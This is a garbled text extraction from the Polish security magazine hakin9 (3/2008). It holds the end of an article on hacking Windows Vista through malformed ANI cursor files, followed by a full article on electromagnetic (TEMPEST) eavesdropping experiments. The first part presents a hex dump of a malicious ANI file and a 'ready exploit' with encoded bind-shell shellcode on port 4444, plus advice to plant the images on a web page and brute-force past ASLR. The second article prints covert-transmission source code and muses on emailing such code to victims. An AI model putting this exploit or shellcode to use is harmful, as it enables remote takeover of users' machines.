wiedniego narzędzia pozostawiam
Czytelnikowi, jednak godnymi po-
lecenia są OllyDbg i WinDbg, któ-
re za darmo możemy pobrać z Sie-
ci. Musimy dokonać analizy pod
kątem adresów w pamięci zajmo-
wanych przez naszą tablicę i ad-
res powrotu z funkcji. W systemie
Windows XP różnica ta wynosiła
84 bajty, w systemach Vista wiel-
kość ta może być inna. Dlatego
atakujący powinien przygotować
kilka plików – tak, aby móc spraw-
Listing 4.
Szkodliwy w plik w edytorze heksadecymalnym
00000000
52
49
46
46
90
00
00
00
41
43
4F
4
E
61
6
E
69
68
RIFF
....
ACONanih
00000010
24
00
00
00
24
00
00
00
02
00
00
00
00
00
00
00
$...$...........
00000020
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
................
00000030
00
00
00
00
01
00
00
00
61
6
E
69
68
58
00
00
00
........
anihX
...
00000040
41
41
41
41
41
41
41
41
41
41
41
41
41
41
41
41
AAAAAAAAAAAAAAAA
00000050
41
41
41
41
41
41
41
41
41
41
41
41
41
41
41
41
AAAAAAAAAAAAAAAA
00000060
00
41
41
41
41
41
41
41
41
41
41
41
41
41
41
41
.
AAAAAAAAAAAAAAA
00000070
41
41
41
41
41
41
41
41
41
41
41
41
00
00
00
00
AAAAAAAAAAAA
....
00000080
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
................
00000090
42
42
42
42
43
43
43
43
BBBBCCCC
Listing 5.
Gotowy exploit
char
nop
[]=
”\
x90
” //
oczywi
ś
cie
w
tablicy
mamy
\
x90
tyle
razy
,
ile
wyni
ó
s
ł
offset
.
char
shellcode
[]=
"
\x
33
\x
c9
\x
83
\x
e9
\x
b0
\x
d9
\x
ee
\x
d9
\x
74
\x
24
\x
f4
\x
5b
\x
81
\x
73
\
x
13
\x
af"
"
\x
99
\x
e8
\x
2f
\x
83
\x
eb
\x
fc
\x
e2
\x
f4
\x
53
\x
f3
\x
03
\x
62
\x
47
\x
60
\x
17
\x
d0"
"
\x
50
\x
f9
\x
63
\x
43
\x
8b
\x
bd
\x
63
\x
6a
\x
93
\x
12
\x
94
\x
2a
\x
d7
\x
98
\x
07
\x
a4"
"
\x
e0
\x
81
\x
63
\x
70
\x
8f
\x
98
\x
03
\x
66
\x
24
\x
ad
\x
63
\x
2e
\x
41
\x
a8
\x
28
\x
b6"
"
\x
03
\x
1d
\x
28
\x
5b
\x
a8
\x
58
\x
22
\x
22
\x
ae
\x
5b
\x
03
\x
db
\x
94
\x
cd
\x
cc
\x
07"
"
\x
da
\x
7c
\x
63
\x
70
\x
8b
\x
98
\x
03
\x
49
\x
24
\x
95
\x
a3
\x
a4
\x
f0
\x
85
\x
e9
\x
c4"
"
\x
ac
\x
b5
\x
63
\x
a6
\x
c3
\x
bd
\x
f4
\x
4e
\x
6c
\x
a8
\x
33
\x
4b
\x
24
\x
da
\x
d8
\x
a4"
"
\x
ef
\x
95
\x
63
\x
5f
\x
b3
\x
34
\x
63
\x
6f
\x
a7
\x
c7
\x
80
\x
a1
\x
e1
\x
97
\x
04
\x
7f"
"
\x
50
\x
4f
\x
8e
\x
7c
\x
c9
\x
f1
\x
db
\x
1d
\x
c7
\x
ee
\x
9b
\x
1d
\x
f0
\x
cd
\x
17
\x
ff"
"
\x
c7
\x
52
\x
05
\x
d3
\x
94
\x
c9
\x
17
\x
f9
\x
f0
\x
10
\x
0d
\x
49
\x
2e
\x
74
\x
e0
\x
2d"
"
\x
fa
\x
f3
\x
ea
\x
d0
\x
7f
\x
f1
\x
31
\x
26
\x
5a
\x
34
\x
bf
\x
d0
\x
79
\x
ca
\x
bb
\x
7c"
"
\x
fc
\x
ca
\x
ab
\x
7c
\x
ec
\x
ca
\x
17
\x
ff
\x
c9
\x
f1
\x
f9
\x
73
\x
c9
\x
ca
\x
61
\x
ce"
"
\x
3a
\x
f1
\x
4c
\x
35
\x
df
\x
5e
\x
bf
\x
d0
\x
79
\x
f3
\x
f8
\x
7e
\x
fa
\x
66
\x
38
\x
47"
"
\x
0b
\x
34
\x
c6
\x
c6
\x
f8
\x
66
\x
3e
\x
7c
\x
fa
\x
66
\x
38
\x
47
\x
4a
\x
d0
\x
6e
\x
66"
"
\x
f8
\x
66
\x
3e
\x
7f
\x
fb
\x
cd
\x
bd
\x
d0
\x
7f
\x
0a
\x
80
\x
c8
\x
d6
\x
5f
\x
91
\x
78"
"
\x
50
\x
4f
\x
bd
\x
d0
\x
7f
\x
ff
\x
82
\x
4b
\x
c9
\x
f1
\x
8b
\x
42
\x
26
\x
7c
\x
82
\x
7f"
"
\x
f6
\x
b0
\x
24
\x
a6
\x
48
\x
f3
\x
ac
\x
a6
\x
4d
\x
a8
\x
28
\x
dc
\x
05
\x
67
\x
aa
\x
02"
"
\x
51
\x
db
\x
c4
\x
bc
\x
22
\x
e3
\x
d0
\x
84
\x
04
\x
32
\x
80
\x
5d
\x
51
\x
2a
\x
fe
\x
d0"
"
\x
da
\x
dd
\x
17
\x
f9
\x
f4
\x
ce
\x
ba
\x
7e
\x
fe
\x
c8
\x
82
\x
2e
\x
fe
\x
c8
\x
bd
\x
7e"
"
\x
50
\x
49
\x
80
\x
82
\x
76
\x
9c
\x
26
\x
7c
\x
50
\x
4f
\x
82
\x
d0
\x
50
\x
ae
\x
17
\x
ff"
"
\x
24
\x
ce
\x
14
\x
ac
\x
6b
\x
fd
\x
17
\x
f9
\x
fd
\x
66
\x
38
\x
47
\x
5f
\x
13
\x
ec
\x
70"
"
\x
fc
\x
66
\x
3e
\x
d0
\x
7f
\x
99
\x
e8
\x
2f"
;
//
shellcode
uruchamia
pow
ł
ok
ę
na
porcie
4444
struct
ANIChunk
{
char
tag
[
4
]=
”
anih
”
;
DWORD
size
=(
sizeof
(
nop
)
+
sizeof
(
shellcode
));
char
data
[
size
];
//
dane
}
ani
;
Hakowanie Visty
hakin9 Nr 3/2008
www.hakin9.org
21
dzić każdy po kolei, aż ten właści-
wy zadziała. Dzieje się tak, ponie-
waż ASLR nie zabrania nam doko-
nania kolejnej próby sprawdzenia
adresów w pamięci, zatem można
w zasadzie w nieskończoność te-
stować system, aż odnajdziemy
upragniony adres. Nie jest to trud-
ne – wystarczy umieścić obrazki
na stronie internetowej i czekać,
aż ofiara ją odwiedzi. Na moim
komputerze offset wyniósł 92 baj-
ty. Taką też wartość założę przy
generowaniu shellcode.
Gotowy exploit
Gotowy exploit winien zawie-
rać odpowiedni shellcode – najle-
piej taki, żeby uruchamiał powło-
kę na zadanym porcie, offset bę-
dący w zasadzie ciągiem NOPów
(czyli asemblerowych instrukcji
o kodzie 0x90, które nic nie robią).
Następnie całość (czyli struktury
ANIHeader
i
ANIChunk
) winna być za-
pisana do pliku, może to być zro-
bione choćby za pomocą funkcji
fprintf()
języka C. Gotowe struk-
tury wraz z shellcodem prezentu-
je Listing 5.
Jak widać na Listingu 5, go-
towy shellcode i ciąg nopów na-
leży przekopiować tylko do tabli-
cy ani.data, używając do tego ce-
lu np. funkcji
memcpy()
. Urucho-
mienie exploita otworzy na porcie
4444 powłokę, do której możemy
się połączyć za pomocą progra-
mu telnet.
Podsumowanie
Microsoft obiecywał, że system
Windows Vista będzie najbez-
pieczniejszym z dotychczasowych
Windowsów. Mimo poczynionego
wysiłku, Vista jest podatna na pew-
ne błędy, które umożliwiają prze-
jęcie kontroli nad systemem bądź
wykonanie ataku DoS. Pozosta-
je tylko mieć nadzieję, że firma na
serio potraktuje każdy odkryty błąd
i szybko zareaguje, poprawiając
go. Działanie takie, w połącze-
niu ze świadomością użytkownika,
powinno sprawić, że Vista rzeczy-
wiście będzie tak bezpieczna, jak
twierdzą jej twórcy. l
www.hakin9.org
hakin9 Nr 3/2008
22
Atak
E
misja ujawniająca (ang. compromising
emanation), nazywana także ulotem
elektromagnetycznym, to zjawisko wy-
stępujące w każdym obwodzie, w którym pły-
nie prąd. O ile w wielu przypadkach elektro-
magnetyzm jest zjawiskiem bardzo przydat-
nym, to w przypadku emisji ujawniającej jest
dokładnie odwrotnie. Każdy podzespół kom-
putera, przetwarzając dane, emituje część
energii elektrycznej w postaci pola elektroma-
gnetycznego. To właśnie pole elektromagne-
tyczne i zawarte w nim informacje będą tema-
tem tego artykułu.
Fakty czy mity
W marcu roku 2004 w Internecie powstał projekt
nazwany Eckbox (http://eckbox.sourceforge.net),
który był rozwijany przez kilka miesięcy.
Jest to jedyny projekt open source teo-
retycznie pozwalający wykorzystywać tech-
nikę podsłuchu elektromagnetycznego. Z
premedytacją używam słowa teoretycznie,
ponieważ nie udało mi się znaleźć potwier-
dzenia faktu działania tego urządzenia i pro-
gramu. Projekt powstał na bazie badań i ar-
tykułu napisanego przez Wima van Ecka,
holenderskiego naukowca z Neher Labora-
tories. Skonstruowane i opisane przez nie-
go urządzenie było odbiornikiem fal elektro-
magnetycznych, podłączonym do komputera
za pomocą specjalnie przerobionego odbior-
nika telewizyjnego oraz pozwalało na prze-
chwycenie informacji wyświetlanych na mo-
nitorze katodowym CRT. Było to rozwiązanie
czysto sprzętowe i bardzo rozbudowane. Pro-
jekt Eckbox jest o wiele prostszą wersją tego
rozwiązania – co wcale nie musi oznaczać, że
mniej funkcjonalną. Autorzy projektu napisali
Podsłuch
elektromagnetyczny
Grzegorz Błoński
stopień trudności
W mediach co rusz słyszymy, że ktoś kogoś podsłuchał. Cały ten
szum podsłuchiwania dotyczy raczej specjalizowanych urządzeń
podsłuchowych, mini-nadajników zwanych pluskwami – lecz to
nie jedyny rodzaj podsłuchu obecny w otaczającym nas świecie.
Nie należy zapominać, że podsłuchać można nie tylko człowieka,
ale także komputer i to, co w nim najcenniejsze dla właściciela.
Z artykułu dowiesz się
• co to jest emisja ujawniająca,
• co to jest ulot elektromagnetyczny,
• czy można wykorzystać te zjawiska do podsłu-
chiwania.
Co powinieneś wiedzieć
• znać podstawy zjawiska elektromagnetyzmu,
• znać system Linux i umieć pracować w konsoli,
• umieć posługiwać się lutownicą,
• znać podstawy budowy układów elektronicznych.
Podsłuch elektromagnetyczny
hakin9 Nr 3/2008
www.hakin9.org
23
program, który – korzystając z por-
tu równoległego w komputerze PC
– potrafi przekształcić dane odebra-
ne przez radioodbiornik podłączony
do komputera za pomocą specjal-
nego interfejsu wykorzystującego
przetwornik analogowo-cyfrowy.
Problem ulotu elektromagne-
tycznego dotyczy każdego urzą-
dzenia komputerowego, a mimo to
niewiele jest firm, które dbają o za-
pewnienie pod tym względem bez-
pieczeństwa swoim wrażliwym da-
nym. W agencjach i instytucjach
rządowych sytuacja jest trochę lep-
sza, ponieważ są one zobligowane
do utrzymania określonych informa-
cji w ścisłej tajemnicy.
W USA powstał w latach sześć-
dziesiątych projekt nazwany TEM-
PEST (Transient ElectroMagnetic
Pulse Emanation STandard), któ-
ry określa dopuszczalne poziomy
niepożądanych emisji fal elektro-
magnetycznych. Projekt uwzględ-
nia trzy klasy (poziomy) bezpie-
czeństwa:
• Level 1 – AMSG 720 B,
• Level 2 – AMSG 788,
• Level 3 – AMSG 784.
Urządzenia wykonane przy zachowa-
niu norm zawartych w projekcie TEM-
PEST są sprzedawane na terenie
państw członkowskich NATO. Jed-
nak, aby móc takie urządzenie na-
być lub nimi handlować, trzeba speł-
nić pewne warunki.
Po dokładniejsze informacje na
temat programu TEMPEST odsyłam
do Internetu, na przykład na stronę
www.iniejawna.pl.
Technikalia
Rozpatrując możliwości podsłu-
chania komputera przy wykorzy-
staniu kompromitujących emana-
cji, mamy możliwość zastosowa-
nia technik inwazyjnych oraz nie-
inwazyjnych.
Techniki inwazyjne mogą opierać
się na wstrzyknięciu w system-ofia-
rę oprogramowania, działającego
w taki sposób, że bez wiedzy użyt-
kownika będzie wykorzystywało
układy elektroniczne komputera ja-
ko nadajnik i antenę do wypromie-
niowania informacji, jakie zamierza-
my przechwycić.
Przykładem wykorzystania ta-
kiej techniki jest program au-
torstwa Erika Thiele, nazwa-
ny dźwięcznie Tempest for Eliza
(http://www.erikyyy.de/tempest).
Program ten pozwala – przy wyko-
rzystaniu karty graficznej jako nadaj-
nika i monitora jako anteny – wysy-
łać muzykę w eter – można ją ode-
brać na standardowym radioodbior-
niku fal długich. Program działa w li-
nii poleceń systemu Linux.
Do wydania odpowiedniej ko-
mendy potrzebne są nam parame-
try naszego podsystemu graficzne-
go, takie jak:
• częstotliwość rysowania piksela
(Pixel Clock),
Listing 1.
Program tempest-cpu autorstwa Berke Duraka
#include
<stdlib.h>
#include
<stdio.h>
typedef
unsigned
char
u8
;
#define BUF_SIZE (1<<18)
void
tempest_cpu_pattern
(
int
count
,
volatile
int
*
buf
,
int
a
,
int
b
)
{
int
i
,
j
;
int
x1
,
x2
,
x3
,
x4
;
x1
=
0
;
x2
=
0
;
x3
=
0
;
x4
=
0
;
i
=
0
;
while
(
count
--)
{
for
(
j
=
0
;
j
<
a
;
j
++)
{
x1
^
=
0x55330fff
+
i
;
x1
<<=
1
;
buf
[
i
]
=
x1
;
if
(++
i
==
BUF_SIZE
)
i
=
0
;
}
for
(
j
=
0
;
j
<
b
;
j
++)
{
asm
(
"nop"
);
/* this instruction is available on nearly every CPU :
) */
}
}
}
int
main
(
int
argc
,
char
**
argv
)
{
int
count1
,
count2
;
int
a1
,
b1
;
int
a2
,
b2
;
int
*
c
;
int
a
,
b
;
if
(
argc
!=
7
)
{
fprintf
(
stderr
,
"usage: %s a_low b_low a_high b_high count_low
count_high
\n
"
);
exit
(
EXIT_FAILURE
);
}
a1
=
atoi
(
argv
[
1
]);
b1
=
atoi
(
argv
[
2
]);
a2
=
atoi
(
argv
[
3
]);
b2
=
atoi
(
argv
[
4
]);
count1
=
atoi
(
argv
[
5
]);
count2
=
atoi
(
argv
[
6
]);
c
=
malloc
(
BUF_SIZE
*
sizeof
(
int
));
for
(;;)
{
for
(
a
=
a1
,
b
=
b1
;
a
<
a2
&&
b
<
b2
;
a
+=
(
a2
-
a1
)
>>
4
,
b
+=
(
b2
-
b1
)
>>
4
)
{
tempest_cpu_pattern
(
count1
,
c
,
a
,
b
);
}
}
return
0
;
}
hakin9 Nr 3/2008
www.hakin9.org
Atak
24
• rozdzielczość pozioma (HDi-
splay),
• rozdzielczość pionowa (VDi-
splay),
• całkowita rozdzielczość pozioma
(HTotal).
Po wydaniu przykładowego pole-
cenia:
#./tempest_for_eliza 108000000 1280
1024 1688 10000000 songs/starwars
program użyje wartości 108MHz
jako częstotliwości rysowania pik-
sela, rozdzielczości okna 1280 x
1024 oraz wartości HTotal równej
1688 pikseli. Kolejne parametry to
10MHz (jako częstotliwość nośna,
na której będzie emitowany dźwięk)
i wreszcie ścieżka do pliku dźwię-
kowego. Na ekranie monitora po-
jawi się dynamicznie zmieniający
się obraz czarno-białych linii pozio-
mych, których grubość i szybkość
zmian uwarunkowana jest odtwa-
rzanym z pliku dźwiękiem.
Dźwięki emitowane przez moni-
tor są słyszalne także na częstotli-
wościach harmonicznych. Na stan-
dardowym odbiorniku radiowym
w zakresie fal krótkich w okolicach
częstotliwości 10MHz nadawa-
ny dźwięk bardzo dobrze słychać.
Oprócz tej częstotliwości odebra-
łem emitowane dźwięki za pomocą
transceivera krótkofalowego na czę-
stotliwościach 26,215 MHz, 26,455
MHz, 26,755 MHz, 27,755 MHz oraz
28,005 MHz – przy czym najsilniej-
szy sygnał pojawił się na pierwszej
z wymienionych częstotliwości. Od-
ległość anteny wynosiła początko-
wo jeden metr – w tych warunkach
siła sygnału była na poziomie 3µV
do 6µV (według wskazań transce-
ivera Zodiac Tokyo), bez względu
na polaryzację anteny. Przy zwięk-
szeniu odległości do 4 metrów siła
sygnału spadła do poziomu 0,39µV.
Dźwięki nadal były słyszalne, lecz
towarzyszyły im wyraźne szumy,
których intensywność zmieniała się
w zależności od polaryzacji anteny.
Podczas pomiarów używałem ante-
ny MagLoop.
Przy okazji tych eksperymentów
odkryłem, że podłączone do kom-
putera urządzenia typu KVM (Key-
board Video Mouse) w trakcie te-
stów emitują tak silnie wzmocnione
sygnały z karty graficznej, że bez
problemu mogłem odebrać czyste,
słyszalne dźwięki w pomieszcze-
niu znajdującym się za dwoma ścia-
nami w odległości około 8 metrów. Si-
ła sygnału była tak duża, że wskaź-
nik transceivera Zodiac Tokyo wska-
zywał 50µV! Sugeruje to, że sygnał
mógł być swobodnie odebrany w bar-
dzo dużej odległości, przypuszczal-
nie kilkudziesięciu, a może nawet kil-
kuset metrów.
W związku z tym faktem uwa-
żam, że używanie przełączników
KVM w systemach komputerowych
zawierających dane tajne lub wraż-
liwe jest bardzo ryzykowne. Prze-
łącznik, którego używałem, to dzie-
ło firmy D-link (model DKVM-2K)
który, jako urządzenie pozwalają-
ce na korzystanie z jednego ze-
stawu klawiatury, myszy i monito-
ra dla dwóch komputerów, sprawu-
je się doskonale – zgodnie ze swym
przeznaczeniem. Bardzo możliwe,
że jest na rynku sporo przełączni-
ków pozbawionych takiej przypa-
dłości. Jednak tak czy inaczej, za-
nim ktoś zechce użyć jakiegokol-
wiek przełącznika, powinien się za-
stanowić nad niechcianym dodat-
kiem w postaci dużej emisji niepo-
żądanych sygnałów lub wykonać te-
sty sprawdzające.
Erik Thiele bazował przy pracy
nad swoim programem na innym
projekcie (autorstwa Pekki Riiko-
nena), który potrafił tylko emitować
pojedyncze tony – ale także pozwo-
lił udowodnić, że podsłuch elektro-
magnetyczny jest możliwy. Powsta-
ło już więcej programów wykorzy-
stujących zjawisko niepożądane-
go ulotu elektromagnetycznego
w komputerach. Autorem kilku ta-
kich narzędzi jest Berke Durak
(http://abaababa.ouvaton.org/tem-
pest). Jego programy wykorzystu-
ją do ukrytej transmisji danych dro-
gą radiową zarówno wewnętrzne,
jak i zewnętrzne podzespoły kom-
putera.
Pierwszym programem Ber-
ke Duraka, o najmniej skompliko-
wanej budowie (Listing 1) jest tem-
Rysunek 2.
Ekran monitora podczas pracy programu Tempest for Eliza
Rysunek 1.
Rozkład pola
elektromagnetycznego wokół
odcinka przewodnika prądu
�������������
��������������������
������������������
�����
Podsłuch elektromagnetyczny
hakin9 Nr 3/2008
www.hakin9.org
25
pest-cpu. Program działający w linii
poleceń systemu Linux przyjmuje kil-
ka parametrów określających rodzaj
przesyłanych dźwięków, wysokość
tonu i czas trwania. Obciąża proce-
sor w 100%, więc nie nadaje się do
przeprowadzenia ataku – jego dzia-
łalność w systemie zostałaby szybko
wykryta. Jest jednak dobrym przy-
kładem potwierdzającym fakt ist-
nienia zjawiska ulotu elektromagne-
tycznego. Procesor emituje niezbyt
silne pole elektromagnetyczne, jed-
nak jest ono możliwe do odebrania
w odległości do dwóch metrów przy
pomocy zwykłego radioodbiornika
na fale długie, przy czym odbiera-
ny sygnał jest bardzo mocno zakłó-
cany przez szumy oraz interferencje
pochodzące od innych pracujących
w komputerze podzespołów.
Kolejny program tempest-crt tego
samego autora wykorzystuje – po-
dobnie jak poprzednie programy Eri-
ka Thiele i Pekki Riikonena – moni-
tor jako nadajnik do wysyłania infor-
macji dźwiękowej. Inne dwa progra-
my Berke Duraka – tempest-pci oraz
tempest-mem – wykorzystują ja-
ko nadajnik odpowiednio szynę PCI
(i urządzenia na niej pracujące) oraz
pamięć operacyjną. Ich przydatność
do wykorzystania w ataku jest rów-
nież niewielka, ponieważ pole elek-
tromagnetyczne, które generują wo-
kół siebie urządzenia PCI, jest dużo
słabsze niż wytwarzane przez mo-
nitory (w szczególności CRT, choć
LCD także charakteryzują się dość
pokaźnym niepożądanym ulotem).
W tym momencie należy wspo-
mnieć, że urządzenia pracujące na
szynie SCSI – bardzo wydajnej szy-
nie danych, wykorzystywanej w roz-
wiązaniach serwerowych – także
emitują dość silne pola elektroma-
gnetyczne. Są one dużo bardziej in-
tensywne niż w przypadku szyny PCI
i w przypadku braku odpowiedniego
ekranowania dają możliwość podsłu-
chania z dużej odległości.
Programy Duraka są niezaprze-
czalnym potwierdzeniem, że można
wykorzystać podzespoły kompute-
ra w celu wysyłania informacji po-
przez zastosowanie odpowiedniego
oprogramowania. Wprawny progra-
mista, wykorzystując kod źródłowy
programów Duraka, teoretycznie
może napisać aplikację, która po-
zwoli mu po zainfekowaniu kompu-
tera-ofiary na przechwytywanie in-
formacji, jakie go interesują. Po od-
powiedniej modyfikacji programu
Rysunek 3.
Transceiver Zodiac
Tokyo w czasie odbierania sygnału
Rysunek 4.
Program Tempest for Eliza po zakończeniu pracy
Rysunek 5.
Widok zmontowanego urządzenia
hakin9 Nr 3/2008
www.hakin9.org
Atak
26
można go dodać jako załącznik do
maila, który automatycznie się uru-
chomi, jeśli nieuważny internauta
w niego kliknie. Choć dotychczas
nie ujawniono wirusa czy innego
złośliwego kodu wykorzystujące-
go taką technikę do przechwycenia
informacji, uważam, że zagrożenie
związane z takimi atakami jest dość
duże. Całkiem możliwe, że już ktoś
napisał taki złośliwy kod i go wyko-
rzystuje, a my o tym po prostu nie
wiemy.
Techniki nieinwazyjne – jak su-
geruje nazwa – nie zmuszają nas
do wstrzykiwania kodu programu
do komputera-ofiary. Nieinwazyj-
ność tych metod polega na wyko-
rzystaniu niepożądanej emisji elek-
tromagnetycznej generowanej stan-
dardowo przez urządzenia kompu-
terowe. Prekursorem w tej dziedzi-
nie – a jednocześnie naukowcem,
który upublicznił informacje o moż-
liwości podsłuchu elektromagne-
tycznego – był wcześniej wspo-
mniany Wim van Eck.
Podsłuchiwać możemy przeróż-
ne sygnały emitowane przez wie-
le podzespołów komputerowych
– od urządzeń komunikujących się
z komputerem bezprzewodowo, ta-
kich jak myszy, klawiatury, drukar-
ki itp., aż po te, które są połączone
z komputerem kablem. W przypad-
ku słabej jakości filtrowania napięć
zasilających w zasilaczach kom-
puterowych część informacji mo-
że przedostawać się do sieci elek-
troenergetycznej i tam może zostać
przechwycona.
W roku 1990 Peter Smulders
opublikował wyniki badań nad prze-
chwytywaniem informacji z ulotu
elektromagnetycznego kabli łączą-
cych interfejsy RS-232, na podsta-
wie których możemy przypuszczać,
że praktycznie każdy rodzaj transmi-
sji danych, nawet realizowanej prze-
wodowo, jest narażony na podsłu-
chanie.
Budujemy urządzenie
W związku z tym, że najsilniejsze
sygnały emitowane są przez mo-
nitory CRT, a zaraz po nich LCD,
postanowiłem przeprowadzić wła-
sne badania, budując odpowiednie
urządzenie. Zaczerpnąłem podsta-
wowe informacje ze strony projektu
Eckbox i zacząłem od zebrania od-
powiednich elementów elektronicz-
nych, aby zbudować interfejs prze-
twarzający sygnał analogowy z od-
biornika radiowego czy też innego
transceivera, którym będę próbo-
wać odebrać sygnały emitowane
przez monitory testowe.
Rozpoczynając pracę nad bu-
dową pierwszego układu, podcho-
dziłem do całej sprawy nieco scep-
tycznie – jednak z odrobiną na-
dziei, że się uda. Do swojego eks-
perymentu wykorzystałem odbior-
nik radiowy w zakresie pasma fal
długich, krótkich oraz UKF, a także
transceiver Zodiac Tokyo, pracują-
cy w zakresie 25-29MHz. Nasłuchy
prowadziłem w modulacji AM oraz
FM. Jak wiemy, sygnały nadawane
przez różne nadajniki często są sły-
szalne na częstotliwościach harmo-
nicznych, które są wielokrotnościa-
mi częstotliwości nośnej. Liczyłem
więc, że gdzieś w końcu usłyszę
i zobaczę to, co chcę.
Na Rysunku 6. widać schemat
blokowy połączeń poszczególnych
elementów zestawu.
W swoim eksperymencie wyko-
rzystywałem radioodbiornik wypo-
sażony w standardową antenę fer-
rytową oraz zewnętrzną telesko-
pową. Oprócz tego w przypadku
transceivera Zodiac Tokyo korzy-
Rysunek 6.
Eksperymentalny zestaw do podsłuchu elektromagnetycznego
(Eckbox)
����������
����������������������
������
�������������������������
������
���������������
�����������������
���������������
Rysunek 7.
Schemat ideowy urządzenia Eckbox
���
�����
���
�
����
�
�������������������������
��
��
��
�
�����������������
�����
����
�����
�����������������������
�����������������������
��
��
��
��
��
��
��
��
�
�
�
�
�
�
�
�
�
��
��
��
��
��
��
��
��
��
��
���
��
��
��
������
����
����
����
�����
��
�
��
�
��
�
��
�
��
�
��
�
��
�
��
�
�
���
��
�
��
����
�
��
����
��
Podsłuch elektromagnetyczny
hakin9 Nr 3/2008
www.hakin9.org
27
stałem z anteny dookólnej pętlowej
LoopSkywire oraz anteny kierunko-
wej MagLoop własnej konstrukcji.
Szczegóły dotyczące budowy tych an-
ten nie zostaną tu zamieszczone – wy-
starczająco dużo informacji na ten te-
mat można znaleźć w Internecie.
Do zbudowania interfejsu urzą-
dzenia dla portu LPT (według infor-
macji ze strony http://eckbox.source-
forge.net), potrzebujemy układu sca-
lonego do konwersji sygnału analogo-
wego z odbiornika radiowego na sy-
gnał cyfrowy rozumiany przez kompu-
ter PC. Projekt Eckbox zakłada użycie
przetwornika analogowo-cyfrowego o
rozdzielczości 8 bitów na wyjściu cy-
frowym i jednym kanale wejściowym.
Układy scalone, które można wyko-
rzystać do tego celu, są dostępne
w każdym lub prawie każdym sklepie
z podzespołami elektronicznymi.
Dodatkowo będziemy potrzebo-
wali kilku rezystorów, kondensatorów
i diod. Przeszukując sklepy natrafiłem
na układ ADC0804, niedrogi, spełnia-
jący wymogi projektu i posiadający od-
powiednie parametry elektryczno-lo-
giczne. Na Rysunku 7. przedstawiam
schemat układu, który zbudowałem,
korzystając z informacji zawartych
w nocie aplikacyjnej układu ADC0804
i kilku innych rozwiązań wykorzystują-
cych ten przetwornik.
Po zmontowaniu elektronicznej
części układu przystąpiłem do połą-
czenia wszystkich elementów zesta-
wu podsłuchowego – tak, jak widać na
Rysunku 5.
Program eckbox po skompilowa-
niu (wraz z odpowiednimi bibliote-
kami – svgalib oraz modułem svga-
lib_helper) uruchamia się, począt-
kowo wyświetlając tylko czarny
ekran. Po chwili, gdy zaczyna dzia-
łać przetwornik A/C, na ekranie po-
jawiają się przesuwające się po-
ziome linie – co przedstawia Ry-
sunek 8.
Urządzenie nie wyświetla tego,
na co oczekiwałem, ponieważ za-
stosowany układ ADC0804 prze-
nosi sygnały o częstotliwościach
do 10 kHz. Przeoczyłem ten waż-
ny parametr podczas wyszukiwa-
nia odpowiedniego układu. Ponie-
waż w technice nieinwazyjnej za-
kładamy, że nie mamy możliwości
wymuszenia częstotliwości, na ja-
kiej monitor emituje sygnał, musi-
my próbować odebrać go na czę-
stotliwościach, na których jest emi-
towany przez podzespoły kompute-
ra lub na częstotliwościach harmo-
nicznych (założyłem zakres od 10
do 30 MHz).
Zbudowałem więc kolejny eg-
zemplarz oparty o układ ADC, mo-
gący pracować z częstotliwościa-
mi sygnału wejściowego rzędu 18
Mhz, który teoretycznie powinien
się sprawdzić lepiej – czyli HI1175
firmy Intersil. Niestety, okazało się,
że to także nie pozwala na odebra-
nie sygnału. Zgodnie z informacja-
mi ze strony projektu Eckbox, układ
powinien działać na częstotliwości
pasma radiowego FM 108MHz.
Taka częstotliwość sugeruje, że
program został napisany tak, by od-
bierać sygnał emitowany przez Pi-
xelClock w kartach graficznych.
Dość trudne jest zdobycie ukła-
du ADC pracującego z sygnałami
wejściowymi o takich częstotliwo-
ściach.
Licząc, że uda mi się podsłu-
chać coś na częstotliwościach har-
monicznych, postanowiłem naj-
pierw zbudować kolejne ukła-
dy, umożliwiające pracę na wyż-
szych częstotliwościach. Kolejne
urządzenie, zbudowane w oparciu
o układ HI2302 (także firmy Inter-
sil), podczas pierwszych testów nie
chciało działać – czego przyczyną
okazało się zaniżone napięcie za-
silające. Ponieważ urządzenie jest
zasilane z szyny USB, szybko zna-
lazłem przyczynę tej sytuacji. Oka-
zał się nią zewnętrzny dysk twar-
dy podłączony do komputera, który
R
E
K
L
A
M
A
hakin9 Nr 3/2008
www.hakin9.org
Atak
28
pobierając prąd rzędu 500mA (czyli
maksymalny możliwy według specy-
fikacji USB) powodował spadki napię-
cia. Po odłączeniu dysku napięcie na
szynie USB wróciło do poziomu 5V,
a urządzenie zaczęło pracować.
Niestety, nie powiodło mi się rów-
nież tym razem. Układ teoretycz-
nie pozwala na odbieranie sygnałów
o częstotliwości 100MHz. Program
Eckbox, pomimo tego, że wyświetlał
zmieniające się w czasie obrazy skła-
dające się z linii poziomych.
Brak pozytywnego wyniku działa-
nia urządzenia i programu Eckbox wca-
le nie spowodował w moim przypadku
zmiany zdania na temat problemu ulotu
elektromagnetycznego i zagrożeń bez-
pieczeństwa z nim związanych.
Powodem niepowodzenia mogą
być zarówno błędy w projektowaniu
urządzenia, jak i sam program, któ-
ry ostatnich poprawek doczekał się
w roku jego powstania (2004). Od
tamtego czasu na stronie projektu nic
się nie dzieje. Być może ktoś już pró-
bował zbudować to urządzenie wcze-
śniej, jednak nie natknąłem się na śla-
dy informacji o działającym egzempla-
rzu. Jeżeli jest ktoś, kto wykonał taki
aparat, chętnie skorzystam z jego wie-
dzy – o ile zechce się nią podzielić.
Podsumowanie
Po analizie pokaźnych zasobów infor-
macji na temat ulotu elektromagne-
tycznego, znajdujących się między
innymi w Internecie, oraz po przepro-
wadzonych testach programów Erika
Thiele i Berke Duraka uważam, że pro-
blem emisji ujawniającej jest kwestią,
której nie można pomijać przy tworze-
niu polityk bezpieczeństwa w firmach
i instytucjach przetwarzających waż-
ne, często tajne dane. Choć w tym ar-
tykule opisałem możliwość odbierania
sygnałów nadawanych z premedyta-
cją – i to na niewielkie odległości, nie
można lekceważyć istoty problemu,
która może w wielu przypadkach sta-
nowić o wycieku bardzo cennych da-
nych. Nieudana próba podsłuchania
emisji ujawniającej przy pomocy pro-
stych w budowie urządzeń nie prze-
czy temu, że sam fakt takiego pod-
słuchu jest możliwy. Przy odpowied-
nio dużym nakładzie pracy oraz zasto-
sowaniu profesjonalnego sprzętu z du-
żym prawdopodobieństwem pozwo-
li nam to na skonstruowanie urządze-
nia, które będzie działało tak samo do-
brze, jak urządzenie Wima van Ecka
(lub nawet lepiej). Mam nadzieję, że po
przeczytaniu tego artykułu wielu admi-
nistratorów podejdzie do zagadnienia
podsłuchu elektromagnetycznego tak
